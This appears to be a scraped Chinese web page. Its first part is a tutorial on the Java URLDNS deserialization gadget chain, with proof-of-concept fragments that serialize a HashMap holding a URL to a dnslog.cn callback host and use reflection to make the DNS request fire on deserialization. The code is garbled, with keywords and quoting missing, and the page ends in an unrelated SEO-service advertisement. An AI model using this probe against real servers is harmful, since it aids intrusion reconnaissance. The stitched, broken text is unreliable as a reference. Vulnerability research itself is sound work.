96SEO 2026-02-23 11:08 18
JdbcRowSetImpl利用链分析Java反序列化利用链篇

CC1链的第二种方式-LazyMap版调用链Java反序列化利用链篇
URLDNS链是java通过反序列化发起dns请求的利用链。
一般用于测试反序列化漏洞。
HashMap执行类为URLStreamHandler的hashCode()方法。
HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()
readObject()方法会调用putVal()方法因而调用hash()方法传递的参数为key这个key为hashMap对象的存在的键。
之后会调用key.hashCode()即keyObject不同调用的hashCode()不同。
而URL类中也存在hashCode方法如果传入的key为URL对象则会调用URL对象的hashCode()
如果调用了URL对象的hashCode则会调用handler.hashCode(this)
因此最终会调用URLStreamHandler对象的hashCode()。
在URLStreamHandler对象的hashCode()中会调用getHostAddress(u)进而发起DNS请求。
如果一个序列化的hashMap对象中存在一个URL对象则在进行反序列hashMap对象的时候就会触发URL对象的hashCode()方法进而触发DNS请求。
URL(http://9bfi43.dnslog.cn);HashMap
HashMap();hashMap.put(url,1);SerAndUnser.serialize(hashMap);通过hashMap对象put进一个URL对象。
根据调用链则在反序列化时会调用hashMap的readObject方法其中url对象为key然后调用到url.hashCode()⇒URLStreamHandler.hashCode(url)最终触发到请求DNS的代码。
看似完美但是运行时会发现序列化hashMap对象时就已经触发了请求DNS代码。
通过分析发现hashMap的put方法也会调用hash(url)⇒url.hashCode()也就是说在执行hashMap.put(url,1)时就会触发最终代码。
hashMap在put的时候不将url放入hashMap这样就不会触发url的hashCode。
然后通过别的方式将url放入hashMap。
将url对象put进入hashMap然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()。
显然第一个思路实现不了没有别的方式在hashMap对象中放入key。
在put时不触发url的hashCode方法这个显然也不行只要put执行hash()会执行hashCode()必然执行除非key为空但是不现实。
那我们能不能阻止URLStreamHandler.hashCode()的执行呢看下url对象的hashCode方法
发现这里先是做了一个判断如果hashCode为-1则不会再执行到hashCode()了这不正是我们想要的嘛。
只需要将hashCode设置为-1。
通过搜索也没有位置可以修改hashCode的值那我们只能通过hashMap对象本身来修改了但是hashCode又是private修饰直接修改不了。
URL(http://9bfi43.dnslog.cn);HashMap
urlClass.getDeclaredField(hashCode);hashCodeField.setAccessible(true);hashCodeField.set(url,1234);
将url对象中的hashCode修改为不是-1即可hashMap.put(url,1);//
SerAndUnser.serialize(hashMap);SerAndUnser.unserialize(ser.bin);以上代码序列化时没有触发最终代码了但是在反序列化时也不触发了~
原因其实很简单反序列化之前hashMap对象存在URL对对象但是URL对象的hashCode不是-1因此反序列化时执行不到handler.hashCode()因此执行不到最终的代码。
解决方式是在hashMap的put之后再把url对象的hashCode值修改为-1即可。
URL(http://9bfi43.dnslog.cn);HashMap
urlClass.getDeclaredField(hashCode);hashCodeField.setAccessible(true);hashCodeField.set(url,1234);
将url对象中的hashCode修改为不是-1即可hashMap.put(url,1);//
put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);//
SerAndUnser.serialize(hashMap);SerAndUnser.unserialize(ser.bin);执行反序列化会成功触发最终的DNS请求。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback